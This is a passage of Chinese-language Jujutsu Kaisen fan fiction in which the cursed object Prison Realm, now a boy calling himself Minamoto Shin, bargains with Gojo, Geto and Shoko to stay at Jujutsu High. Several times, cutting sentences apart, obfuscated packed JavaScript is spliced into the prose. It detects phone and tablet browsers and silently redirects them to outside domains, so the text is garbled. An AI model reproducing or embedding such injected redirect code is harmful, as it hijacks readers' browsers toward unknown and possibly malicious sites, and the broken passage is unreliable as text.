这段话实在是说的太好了，简直完美地回答了对方可能存在的所有疑惑，狱门疆满意地点了点头。 “……？” 五条悟和夏油杰又疑惑了，这次他们确确实实在对方脸上看到了属于人类的心满意足的情绪。 这家伙做人怎么跟他/悟的苍一样一会灵一会不灵的？ 和谐的用餐时间还在继续，夏油杰估摸着对方已经吃下了他们两个人的份量，体贴地递上一张餐巾纸，示意他擦擦嘴角：“那么，你要不要考虑和我们走？” 事已至此，狱门疆不仅作为独自出逃的特级咒物，而且他嘴上说是要混入人群，实际上最大的问题不在于其他，光是语言表达能力就很麻烦，更别说他的情绪表达方面看起来还存在某种不确定性，他们是绝对不能把这家伙放出去乱跑的。 狱门疆怔了怔，伸手接过纸巾，有样学样地擦了擦嘴角，看着纸巾上的深色酱汁微微出神。 新笔记，吃饭要擦嘴。 手上一边动作，他一边有些疑惑地想，强大的同伴可以一起保护他的身体，身体是首要的……这个想法很不错，但它是怎么产生的？是捂脸怪的程序吗？那不太好…但是要他抗拒本能似乎也有些难度，还是先暂时接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362966|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 被提前植入的程序，目前不可抗。 他的，需要被保护的身体，不自由，需要帮助，需要同伴的帮助。 而同伴是…是可以在某一阶段随行的人，但……必要时可以抛弃，他不用对其提供保护，但是要适当获取他们的信任，让……他们为了他的目的付出劳动。 …可以。 狱门疆想通了，刚才这些想法无论来源于什么，结果都对他是有益的。 刚从别人身上收到了善意和新知识，狱门疆表现出了很愿意配合他们的意向，甚至学着他们扯了扯嘴角：“好的。走。跟你们。” 这两个少年的出现对他来说是一个好兆头。 大自然里面总有母兽带着幼兽前行，这个规律换到人类社会也适用，甚至因为人类的恻隐之心和大部分时候在他看起来过分多余的情感宣泄，这两个人类的示好比普通咒灵的谄媚更有诚意也更值得信任。 需要…拉拢。 狱门疆迈出了走向人类社会的第一步：寻找强大的同伴。 看他情绪缓和还愿意配合，夏油杰的眉头一松，而从刚才开始就一直围观着同期哄小孩的五条悟此时却不同意了：“不行。” ？ 夏油杰和狱门疆一起扭过头看他。 和对于未知物抱有好奇心和善意的夏油杰不同，五条悟从看见狱门疆的第一眼就察觉到了他的不对劲，这家伙的来历绝对不是一个简单的受肉过程。 刚才的那通电话更是告诉了他很多信息。 “啊，别误会，老子可没有打断你们相亲相爱的意思。”眼看着狱门疆的咒力量又开始不稳定，不管是不是装出来的，五条悟还是似真似假地安抚了一下，“但我们不是才认识吗？没人告诉你不要对陌生人这么没有警惕心吗？” 一个变成了人的咒物固然有趣，但也是个麻烦，五条悟都能想象到他要是被总监部找到了多少咒物会被拉去进行受肉实验。 …警惕？ 这一次他们又看到狱门疆眼中产生了疑惑的情绪。 五条悟＆夏油杰：？ 他在疑惑什么？他们刚才有说什么令他难以理解的事情吗？ “源。” “什么？”夏油杰没听清，五条悟倒是表情怔忪了一下，随机一个古怪的笑容出现在他的嘴角。 真的假的，刚出生多久，有一个月吗就这么聪明了？制作出他的家伙到底给他喂了什么啊？ 名字是最短的咒，在咒术知识方面意外精通的狱门疆显然在用这种方式交出自己的弱点，以换取他们的善意和帮助。 “源。”黑发少年耐心地又重复了一次，“这是我的姓氏。名字的话。。。。。信任。。。信。” “源信。” 那个给他送来寿司的男人胸前的牌子上面写着这个姓氏，就品德和人格魅力方面植入门槛远比大多数人类都高的狱门疆选择了用这种特殊的方式去纪念他的存在痕迹。 “自我介绍。我叫。源信。” 源信如是说。 礼貌又简短地，一次性就回答了他们刚刚的两个问题。 5. 源信（捉 有关特级咒物狱门疆的资料上面写的清清楚楚，它是由千年前的人称活结界的一个咒术师死后化身而成。 “狱门”意为牢门、监狱之门，在江户时代有处刑的含义，“疆”可理解为境或者领域。 好巧不巧，那个千年前的咒术师是个和尚，法号就是“源信”。 ——和源信给自己起的名字一模一样。 这会是一个巧合吗？ 五条悟夏油杰不确定，提早就看过狱门疆资料的他们已经可以肯定眼前的这个源信绝对不是死而复生的源信和尚，性格、外貌、行事风格没有一点点相似之处，更何况……到底谁家和尚的头发这么长啊？ 他们眼神微妙地看了一眼源信背后的长发。 …所以说这到底是给他喂了什么才让一个和尚的遗物长出这么长的头发？ 五条悟夏油杰觉得他们回头有必要再去那个实验室找找还有没有相关记录留下，最好是有关已经变成人的特级咒物狱门疆的弱点和能力限制，以及…… 以及把对方重新变回咒物的方法。 比起五条悟的有恃无恐和跃跃欲试，夏油杰的心从刚刚开始就有些七上八下的，即便是脸上挂着笑也笑不达眼底。 狱门疆的实力不详，资料能力也是无解得够可以，能够破开对方封印的手段他们是一个也没有，而且他明显还没分清自己和人类和咒灵三者之间的区别，他们可没有天真到要把他带回去好好相处，在发生不可挽回的后果之前，让一切回到最初的起点才是最好的办法。 但是昨天晚上到底事发突然，他们也拿不准主意，表面上不动声色：“走吧，你先跟我们回高专。” 狱门…源信感受到了一丝不同寻常，他想了想，问：“以什么身份呢？” 他还没打算跟着这两个人太久，只是打算作为现阶段的同伴相处一段时间，说到底他是要去人更多的地方群居的，高专的人太少了，封闭又偏僻，很影响他观察人类的习性。 他现阶段需要观察和学习（加重）。 虽然他很感激他们帮助自己从实验室的地下脱困，但他们的目标显然是“咒物狱门疆”，而不是“源信”，所以出于体贴，他跑出来之前还费心思给自己做了个仿制品送给他们。 他不认为那些人类能够识破自己的伪装。 从前他在实验室里面的身份是狱门疆，是实验体，是所有人关注着的异类，那以后呢？眼前这两个少年能够给他一个让他满意的身份信息吗？ 人生总归是要走上坡路的，源信觉得自己对于生活的要求提高一些是再合理不过的要求。 夏油杰的眼中闪过一丝惊讶，这句话听起来虽然语法还有些问题，但显然是个疑问句。 就刚刚跟他们对话的功夫，源信居然已经无师自通地学会了疑问句式和语气词的用法。 ……哈，好可怕的学习能力。 旁边的五条悟品出味来也忍不住笑出了声：“当然是以人类的身份，总不能我们把你骗回去杀吧？” 先不说咒物变成的人还能不能杀，杀了之后又是以什么形态死去，他昨晚的那声“狱门疆变成人”到底有几个人会真的听进去？看见图书馆里面完好无损的封印，恐怕没人会把狱门疆和眼前的少年联系到一起吧？ ＊ “……你们说他是狱门疆？” 高专医务室的设施还算齐全，家入硝子给狱门疆全身上下做了一遍检查之后，半信半疑地开口了。 “没错。” 五条悟和夏油杰坚信自己没看错，五条悟甚至扒了扒自己的眼皮：“六眼清清楚楚看见了！咒力蔓延出来之后就‘咻——’一下长出了眼睛和嘴巴！” 听起来倒像是什么恐怖片了，家入硝子暗忖。 即便有了五条悟昨天半夜的那一嗓子，总监部依旧没有察觉到任何异常，前来寻找“自己长手长脚逃走的狱门疆”的咒术师们和辅助监督在图书馆里看到了完好无损的特级咒物，没有人怀疑它的真实性，坚信五条家的六眼又在抽不知哪门子风。 此事不了了之。 就好像有人故意不想要这件事闹大一样。 而此时，一晚上过去依旧穿着一身合身的休闲服的黑发少年情绪平和地坐在病床上，扎起的头发因为刚才躺下的动作有些松散，额前的护额倒是还好好戴着，以至于还没有人注意到他多出来的那一只眼睛。 实际上他的身上还有很多眼睛，但目前来说只有这只是最特殊的一个。 最好不要被发现。 最好不要被触碰。 高专的医务室里面没有很多东西，源信目力所及的只有比关押他的空间大不了多少的房间，简单的但是让他摸不着头脑的设施，昏暗又刺眼的灯光。就在这样逼仄的空间里除了他以外，居然还有三个人类吗？ 看起来他之前的生活条件还不错，源信满意地点点头。 被他突如其来的动作又搞得一头雾水的三人：……？ 难道这家伙脑子里面还有什么电子设备在让他和远处的某人交流吗？ 家入硝子很快检查了他的全身，包括四肢骨骼和内脏，除了面部两颊处有一些奇怪的不平整，看起来像是某些陈年疤痕的凸起之外，毫无疑问眼前的黑发少年就是一个货真价实的人类，连心跳频率都保持在正常人的范畴内。 源信从她开始靠近就关注着她的动作，对于她的触摸没有任何反抗的意图，那双没有高光的黑灰色双瞳一路追踪着她的双手，有意思的是——家入硝子注意到——这个少年还会用余光偷偷关注她的脸部。 …是她的脸上有什么特别吗？ 情绪平静地全程都没有动一下眉毛的家入硝子心里有些疑惑。 ——又是一个穿着白色大褂的人。 源信同样平静地没有表情地想着。 是的，他没有什么攻击意图，毕竟因为一个单一相同特点就胡乱锁定敌人实在是很野兽且不做人的行为，正常人类是做不出这样的事情的。 但是创造出他的那群人也穿着这样的服饰，他实在是忍不住关注这个短发少女。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362967|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着，短发少女就像无数个试图和他交流的白色大褂一样弯腰直视着他露在外面的那双眼睛，开口询问： “你能证明你就是狱门疆吗？” 五条悟&夏油杰：？ 细思鼻孔，源信他从未否认过自己是狱……够了岔台了，打住！ 半天看不出问题的家入硝子在同期们坚定不移的证词下终于……另辟蹊径，选择了直接问当事人。 夏油杰有些无奈地摇了摇头，但同样有些好奇源信会怎么回答这个问题。 这个问题看似是在质疑源信的人类身份，但早在他们没有惊动高专结界就顺利把源信带回来时，家入硝子应该已经猜到了黑发少年的身份，如今到像是在试探什么。 他们比较好奇的是这样的形态到底是特殊的，还是一种普遍现象，以及他存在的时效期。 但出乎他们预料的是，将自己命名为源信的咒物少年自信开口：“不能。我不是狱门疆。” ——他现在是人。 “……” 这干脆利落的回答让三个真·人类静默了一秒。 家入硝子的目光从他平静的脸庞转移到了站在旁边双双露出了夸张颜艺白痴表情的两个同期的脸上，又转过头来淡定地点了点头：“那你能证明你不是狱门疆吗？” “……” 被人类多种多样的奇特话术难住了的黑发少年露出了怔愣的神情，低下头去沉默了一会，似乎在心里仔细对比两个问句的差异，陷入了长时间的迟疑，而眼前的三人却就此没有了下文，眼神一错不错地盯着他，似乎都在等待他的回答，这无疑给源信添加了几分心理压力。 …可是，到底发生了什么？ 源信心中的警铃开始莫名作响。 难道这就是，和陌生人类成为同伴的障碍吗？ 目前他在这里没有自己的地盘，甚至还为了得到他们的信任走到了别人的大本营上。 ……似乎有危险。 源信面色凝重，他感觉到了不知名的危机感。 没有自己的地盘，他选中的同伴预备役也还没有明确表达要帮助他，他毫无疑问处在极端的劣势下！ 他迟疑了。 对人类的表情学和心理学还不够了解的源信在被高专三人不带恶意的注视一会后，他就在这样奇特的寂静氛围中非常干脆地小小破防了一下： “我不是你们要找的狱门疆，你们认错人了。” 好，又给孩子急得憋出来一个长难句，还疑似现学了标点符号的用法。 “………………” 家入硝子表情微妙：“他一直这样？” 五条悟＆夏油杰：“嗯……” 短发少女扶额叹息：“你们自己想想怎么跟夜蛾老师和校长解释吧。” 夏油杰愕然：“你难道没有办法……”“没有呢。” 家入硝子拉开椅子坐在桌前，煞有其事地抽出一张空白报告开始填写：“五条，总监部的人什么时候来接他？” 源信霍然起身。 6. 心跳 “我拒绝。” 不知道是不是家入硝子的话刺激到了黑发少年，他猛然站起来扫视了他们一圈开口了，但却迟迟没有下一步。 五条悟一脸遗憾地摆了摆手：“啊啊，好可惜~老子还很好奇总监部要怎么处理你这个怪东西呢。” 源信抿了抿唇。 关于这个问题……他也很好奇外面的这些人会怎么处置他，但这不代表他愿意把自己交到未知存在的手上，毕竟他还有一些危险的秘密没有办法和别人分享。 世界是未知的，他需要保持一颗谦虚之心谨慎而行（加重）。 在他的记忆中，他的前身，特级咒物狱门疆的信息和使用方法是完全公开的，毫不夸张地说，面对眼前的这几个咒术师他应该是处于一个完全被动的状态——他到目前也只认出了“六眼”，但他们显然都知道他的能力使用方法和限制。 ……所以为什么他每次睁眼都处在这样受制于人的状态。 心情微微有些烦躁，源信不自觉地抬手隔着一层布料摸了摸自己的额头，没有注意到对面几人的眼神也顺着他的动作闪了闪。 不行，他还没办法使用这只眼睛。 短短几秒的时间内，源信很快完成了思考，不动声色地退后几步：“如果我不答应这个要求，你们会把我怎么样？” 在他眼前的三个少男少女不慌不忙地或站或坐，甚至表情都没有大的变化，原本蓄势待发的源信看到他们的反应又踟蹰了。 这是……什么意思？ 源信抬起的手缓缓放下，疑惑地拧了拧眉。 虽然跟着五条悟夏油杰的这一小段时间他学到了太多东西，但未知的东西也多得超乎他的想象。 但如果可以，他不想一次性对上太多的敌人。 穿白色大褂的少女想要让未知的某个人将他带走，源信刚才只在他们的对话中提取到了这个有效信息。 但是这个地方是五条悟和夏油杰带他来的，两个少年在刚刚吃过饭后很友好地和他交换了姓名，也一直礼貌地和他保持一段距离，他们甚至还邀请自己坐了“轿车”。 是友善，和信任。他感觉到了。 所以他需要回应至少20%的善意，以获取更多……准确来说，是至少120%的回报。 等价交换是原则，但原则在某些前提下可以人为蒙蔽（加重）。 夏油杰：“总监部吧……因为高专这边来往咒术师比较多，要是你被发现了，我们根本没有办法解释你的来历。” 说到底除了总监部会多管闲事，到底谁会管一个没什么攻击性的咒物变成人到处乱跑啊？！ 原来如此，是身份的问题，源信眉头一松轻轻颔首，他这样突然出现的存在确实会对社会带来一些麻烦。 简单判定，这不是来自眼前三人的恶意，是“总监部”的恶意。 ——阻止他群居的都是敌人，邀请他群居的都是同伴。 “我目前不会离开的。”源信眼珠子动了动又落到他们脸上，“我会跟着你们，不会做出任何出格举动。” 三人同时顿住，目光诧异地看过来。 源信花了不到一秒的时间回忆完刚刚来时的路线，很确定自己随时能够离开这里：“东京咒术高专……你们说自己在这里学习，学习什么？” 群居第一要义：他需要在人群中找到自己的定位。 家入硝子：“研究你这种怪东西。” 五条悟：“学剥橘子皮。” 夏油杰想笑，抬眼看了他们一眼忍住了：“反正不用学模仿人类。” 源信：“……” 可恶，因为某个不负责的混蛋他已经输在起跑线上了吗？！ 他有些不甘心地问：“这个是…这些很难的事情吗……？” 一个小语法错误，五条悟却突然高高一挑眉，似乎听到了什么不可思议的话。 夏油杰这一次确认了，这个咒物少年除了学习他们的语法外，还在模仿一部分发音，但不知为何他的日语听起来有些京都地区的口音。 连他都听出来了，日语异常标准的京都阔少五条悟明显也已经察觉到了。 而连自己都不知道自己学了些什么的源信还在组织语言：“…唔，我可以留下？必要时我会为你们提供帮助。” 家入硝子插话：“比如给我一点你的身体组织？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362968|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“身体……组织？” 这个新鲜的说词让源信愣了愣，下意识低头看了一下自己，很快就理解了这个词汇的意思，眼前的短发少女是在向他讨要身体的一部分。 “我做不到。” 这具身体是他的保护目标，源信生疏地挤出一个无奈的笑容——和夏油杰的笑容弧度一模一样——淡淡地拒绝了她：“因为某些原因，我做不到这样的事情，你可以换个条件。” 三人皱眉。 什么叫作做不到这样的事情？这段话倒是有些出乎预料了。 原本他们都以为一无所知又似乎对人类抱有某种特殊善意的狱门疆会直接答应这样无伤大雅的请求，但他的态度让他们忍不住起了一些疑心。 家入硝子抬手托着下巴：“头发也不可以吗？几根就好。” 源信：“不可以。” 五条悟眯起眼睛看了一会儿，对着一旁对他投来目光的夏油杰摇了摇头：“不是束缚。” 当然不是束缚，这是科技的力量，源信腹诽。 实验室的人最开始也一直纠结于从他身上获取样本，但针头都不知道扎弯了多少个，连热武器都用上了都没有办法对他造成伤害，不间断的洗脑试验也只是提高了他对于催眠的抗性。 源信久违地将属于自己的双手抬起。 一周前实验室所有人撤离之后他就再也没有好好看过自己的手指，显然他的双眼没有办法在黑暗中发挥原本应有的作用。 黑色的长发温顺地垂落在少年的耳畔，漆黑没有高光的双眼就这样静静地看着自己的苍白光滑的双手。 咚咚咚。 咚，咚咚。 咚，咚，咚。 源信倏然抬起头，歪了歪头对着面露警惕的几人轻笑：“要试试从我身上摘走一些部位吗？” 左手放下，他的右手却顺势抚摸上自己的胸口靠左的地方。 熟悉的跳动让源信感到安心，耳边几个陌生的跳动也让他心情变得轻松了些。 终于听见的不止是他自己的心跳了。 不错的开始，他就从这里开始新的生活吧。 那么，第一步，他需要一个人质。 7. 道德感 咒物和咒具是两种东西。 这个世界上有咒具师，却没有被称作咒物师的存在，因为咒物是某种天然物，而咒具确是人为制作而成的。 打比方，最有名的咒物应该就是两面宿傩的手指，因为无法被销毁所以作为咒物这样的特殊存在保存至今，而特级咒物狱门疆也是同类型的存在。 对自己的其他能力还没有十足的把握，但对于这样板上钉钉的法则类属性，源信没有一丝怀疑：“你们可以试试，从我身上获取任何部分。” 这下高专三人组倒是有些惊疑不定了。 五条悟举手打断他：“等会，什么叫任何部分？” 任何？包括四肢躯干？他的意思是叫他们随意取走自己的一部分吗？他没理解错吧？ 正常人类难道是可以脱离这些部位生存的吗？五条悟满脸惊奇地靠近源信，黑发少年的表情沉静，没有锁定在他的身上，看着他一步步靠近，没有反抗地伸出自己的右手。 “来吧。” “等会。” 眼看五条悟已经抬手想要握住源信的手，夏油杰突然出声，看着三人看过来的视线，笑眯眯地唤出一只自己的咒灵:“让我来怎么样？我的术式是咒灵操术，比悟的术式方便一点。” 黑发少年神情怔愣，很快点了点头：“好的。” 被发现了。 源信垂眸掩去眼睛里多余的情绪，回忆了一下，还是没有想到自己是哪一步暴露了自己的目的。 从凌晨遇到这两个少年后，一切都太被动了，源信早就在计划着什么时候将主动权夺回自己手里，眼前显然是一个很好的机会，只要他让五条悟在自己身旁四米范围内停留一分钟以上，他就能将五条悟作为之后的交易筹码封锁在体内。 同伴是可以背离的。 这三个咒术师显然对他没有任何信任，即便他交出了自己的名字，也没有得到任何实在的回报，那就此撕破脸也不失为一个好的选择。 但看着五条悟退后，黑色的幽灵状低级咒灵慢悠悠靠近，源信勉强压下心中的烦躁。 好麻烦，他为什么一定要接触人类不可呢？ 黏稠的咒灵晃悠悠地贴近他的胳膊，伸出尖锐的牙齿开始试图啃食，密集的触感即使感觉不到疼痛也让源信心中的烦躁更多。 这群咒术师根本没有把他当作人类在看待，他为什么又非得活跃在人群中呢？ 家入硝子默默看了一会，上前扯走了牙齿都磨平了的小咒灵：“到此为止吧，夏油同学。” 夏油杰表情不变：“嗯？” 家入硝子盯着他看了一会，叹了口气：“不要对他有太多恶意，我要是没看错的话，他确实刚诞生没多久，和你们说的时间都对的上，如果说他一路上都没有对你们有攻击意图的话，我想你们应该想办法留下他了。” ？ 夏油杰愕然：“留下他？为什么？” “你们都想错了，诅咒没有办法完成这种程度的人类形态，也不能在为他保持理智的情况下还还原术式，”家入硝子毫不避讳地走近捏了捏黑发少年微微鼓起的手臂肌肉，“这样精密的肌肉纹理，就像我说的，他已经是个完整的人类了。” 场面陷入了安静。 夏油杰的表情有些晦暗不明，变了几变后再看过来的眼神又变成了源信看不懂的样子，但是敌意少了许多。 源信明白了，他们因为目睹了他从咒物变成人的全过程，还是对他的身份存疑。 被伪装成博士的羂索设定为道德门槛高得离谱的咒物少年很快对这样的误会给予了原谅，思考了一会后又给出了自己可以给的最大善意：“我没有学习过攻击手段。” 这就是源信的顾虑和他如今最大的短板。 特级咒物狱门疆是没有任何攻击能力的，就算源信可以“消化”掉进入他体内的存在，但也是用咒力去完成这个“清除” 的过程，如果刚刚他成功把五条悟关进体内，他的咒力量也绝对达不到处死一个六眼的程度，贸然动手很有可能被其反噬。 “没有攻击手段？你不会打架？” 源信点头，这下五条悟夏油杰都是一愣，家入硝子倒是露出一个意料之中的表情。 说到底创造出一个这样对所有攻击都具有高抗的存在还是太超规格了，要是他一出生就样样精通也未免太夸张，真实情况是这样智力正常又四肢健全，学习能力强大又精神稳定的生物一定有一些让创造者感觉他有着某种无法忽略的缺点，才会被遗弃在国外的那个实验室地下，又看似阴差阳错地被五条悟夏油杰带回来。 但无论怎么说给一个咒物赋予生命这件事还是太惊世骇俗了，家入硝子很好奇到底是什么样的缺点才会让源信被制作他的人遗弃。 所以真的如源信所说的，只是不会攻击这一个缺点吗？ 那这个研发者也太过于求成了些，家入硝子咂舌。 源信还没有意识到自己的老底已经被人扒掉了，过高的道德感和想要以自己身体为先的心情在他的脑海里拉扯了半天，还是以保护身体为第一要义这件事占了上风。 “咒术高专……我有咒力，也是人类，符合你们的招生标准，你们如果能够帮我隐藏身份让我学会一些自保的手段，我可以一直跟着你们。” 跟着他们？ 五条悟和夏油杰表情古怪地对视一眼，夏油杰清楚地看见好友眼睛里闪烁的兴奋光芒。 显然五条悟对源信的兴趣很大，即便因为夏油杰一路的告诫他收敛了许多，他还是想要将源信留下来。 这句话也是源信经过深思熟虑说出口的。 没有必要说“保护你们”“提供帮助”，如果他想得没错，这几个人对解剖他这件事的兴趣还没让他原地展示一下狱门疆的特有能力大。 年轻的外貌，代表原则底线松动，而且不考虑后果，这就是他可以钻的最大空子。 夏油杰显然也觉得这个条件太宽泛了，皱眉道：“只是跟着我们？什么都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362969|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做吗？” 源信：“如果你需要，可以成为我的同伴，交托信任。” “……” 夏油杰感觉到了一丝尴尬。 源信在为自己起名时说过类似的话语，但夏油杰即便和他交换了姓名也没有交出对应的信任。 五条悟哼笑一声：“和他谈什么诚信，他比你狡猾多了。” 源信皱眉，这次惟妙惟肖地换作了呵斥，夏油杰又听出来了，这是他们回来路上一位年轻的妈妈训斥自己孩子的语气：“请不要污蔑我的人格。” ……哇哦。 五条悟又开始烧开水了：“哈哈哈哈哈哈哈，你这家伙一本正经说自己是人类的样子真搞笑哈哈哈哈哈哈哈哈哈!” 源信又恢复了面无表情：“总之，拜托了。” * “博士，你安排的事情已经办好了。” “是吗，”羂索沉吟片刻，“那这段时间就随他去吧，等到他再成长一段时间再说。” 他在狱门疆的身上花了太多时间，但是谁也没有想到临门一脚出了错误，原本设定好的认主程序迟迟没有发挥作用，狱门疆说是人造人但已经完全脱离了他的控制，一举一动完全就是个拥有极强独立自主性的个体。 将电话挂断，羂索眉头依旧紧锁。 开弓没有回头箭，狱门疆的人类形态一旦成形，就算是两面宿傩降临现世也没有办法将其杀死，好在狱门疆没有办法远离人群太久。 最初为了防止狱门疆无故反水，羂索为他上了好几道保险锁，其中一条就是必须存在于人类的视野范围内，这样即便他试图逃离自己的掌控他也能轻易找到他的下落。 其次就是过高的道德感。 被条条框框的理论要求束缚着的狱门疆拥有着至高无上的道德门槛，不会背叛真实的伙伴也不会做出落井下石的行为，原本这样的约束力也是为了防止他一个抽风想起来弑主。 可惜都没用上。 羂索起身换上深色的和服和羽织向房门外走去，张口声音又变成了另外一番模样：“最近给高专多安排一些任务，让那两个新生忙起来。” 在门外一直等候的辅助监督低头：“是，大人。” 如果没有办法直接使用，羂索打算直接把狱门疆的存在放进原本的计划里。 一个算不上人类的存在，在面对人类社会的尔虞我诈的时候，他是试图改变还是直接毁灭？羂索不知道。 但要是他的身边还有一个夏油杰答案就变得简单起来。 羂索仔细回忆了一下自己还有什么地方有疏漏，半晌之后抬了抬手：“我要离开一段时间，这段时间让他们不要太管高专的事情，如果有什么特殊的事情，让他们老师自己处理好就可以了。” “是，大人。” 即便他已经换了个新身份，但能够破解狱门疆封印的两个咒具是当务之急，他需要亲自走一趟把两个咒具都拿到手，保证狱门疆这边发生的事态发生任何意外。 8. 路 “硝子，早上好。” 家入硝子抬抬头：“你们也是，嗯？”她这次站直了，“源信人呢？” “啊……” 五条悟和夏油杰目光飘忽。 昨天三人一合计，让五条悟找人给源信处理了一下身份问题，让他以五条家系身份入学了，高专校长也在晚上接到了消息。 总监部不知为何对这件事大开绿灯，手续当天就送到了高专，但这次却换了一个他们没有见过的辅助监督。 “关于源同学的事情，诸位大人们已经知道了，作为五条家的优秀家系子弟，办理入学算不上什么麻烦，明天就可以让他和三位一起上课了。” 这件事对于咒术界的御三家之一五条家来说不算困难。 有了五条家系的头衔，源信一夜之间从一个没有身份的黑|户摇身一变成了咒术界新秀，虽然咒术等级评定和术式信息还没有登记，但消息灵通的咒术师们已经知道东京高专这边的一年级里已经有了两个五条。 而他们的班主任夜蛾正道恐成最后一个知道这件事的。 源信很快就有了自己的宿舍，他特地选了一个远离两位男同学的正方形的房间。 还是熟悉的封闭式环境让他较为有安全感。 “所以他还没起床？”昨天晚上亲自帮他整理了宿舍的家入硝子有些诧异。 虽然看得出那孩子很喜欢新宿舍，但是也没必要进去了就不出来吧？ 即便只是昨天见了一面，源信给她感觉是会很有时间概念的类型，没想到第一天上课就迟到了吗？ 夏油杰沉默，五条悟移开目光：“嘛，真是不像话啊……” 家入硝子的表情古怪起来。 真没想到这辈子还能从五条悟的口气中听出心虚的意味来。 这下没跑了，源信迟到估计是他们两个搞的鬼。 “你们干什么了？把他关起来了？” 把狱门疆反锁吗？虽然有些离谱但她感觉是眼前这两个家伙做得出来的事情。 夏油杰赶紧止住她的天马行空：“没有没有，我们只是昨天带他去买了个手机，他昨天晚上似乎玩手机到很晚，今天才起迟了。” “……？” 家入硝子面露狐疑。 * 知道他存在的人不仅仅是实验室的那群人。 源信一整晚都被这个消息焦虑到根本没有办法躺下休息。 理论来说他是不需要睡眠时间的，但他也没有昼伏夜出的习性，人类喜阳的本能让他习惯于在夜晚放低警惕，保持一种过分放松的虚弱状态。 又是一个明晃晃的弱点。 五条悟和夏油杰送给他的手机更是让他意识到了实验室的人们平日里对着他摆弄的小方块是什么，放在耳边说话的又是什么——刚开始看见五条悟使用他还以为那是某种个人固定时尚单品。 所以他们把他的真实信息传递给了不知名的……很多人？ 源信毛骨悚然。 但一直纠结这件事是没有用的，源信带着凝重的表情送走了几位同学后，就开始思考解决方法。 这一思考就开始研究手机了，研究研究着就开始上网。 坏了，这下真是玩手机玩的了（） 挑灯夜读一晚上的源信完全没有察觉到屋外的太阳已经升起，直到手机又一次没电，他才想起来看一眼时间。 8：31。 他好像记得高专的第一节课是八点半……？ 静默一秒，源信立刻将没电开始自动关机的手机扔到一边，万幸的是因为没有买衣服，校服也还没有送到的缘故，他昨天晚上根本没有换衣服，起床打开门就从顶楼跳了下去，直冲教室。 “喔，不用去找他了，似乎已经过来了。” 已经站起身准备回去叫人的夏油杰一愣，顺着五条悟指着的方向看去，果然看到远远的一个人影从楼上跳下来，没有任何技巧地“啪嗒”在地上滚了一圈利落站起，拍了拍灰就向他们这边跑来。 家入硝子惊讶：“连缓冲动作都不会吗？” 夏油杰也愣住了：“是……看起来只会最基本的一些动作，意识也很差，刚刚跳下来的时候完全没有护住关键部分。” 要不是咒物，源信刚刚那一下就能把自己摔残，下半辈子都得躺在床上。 五条悟摸了摸下巴，状似思考了一会，拍了拍夏油杰的肩膀，夏油杰疑惑地扭头：“杰，他的体术训练就拜托你了。” “……你这家伙。” 源信走两步就开始小跑，重击带来的震颤还没有散去，他身体的一些部位还有些发麻，限制他没有办法大步开始奔跑。 他在半路上遇到了夜蛾正道。 刚从校长办公室出来的夜蛾正道一眼就认出了他的身份，源信在一秒钟的思索后也猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362970|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他的身份，停下脚步点了点头：“老师好。” 人类礼仪，不知道姓名的时候可以称呼绰号或者头衔职位。 源信转过身让自己正面和他对上视线：“我是新来的源信，请多指教。” 已经被几个学生透题知道他咒物身份的夜蛾正道：“……源同学，先去教室吧。” 源信顿了顿，有些冒犯地抬头将他打量了一会，直到把夜蛾正道看得有些不自在才微微侧身弯腰：“好的。先请。” …… 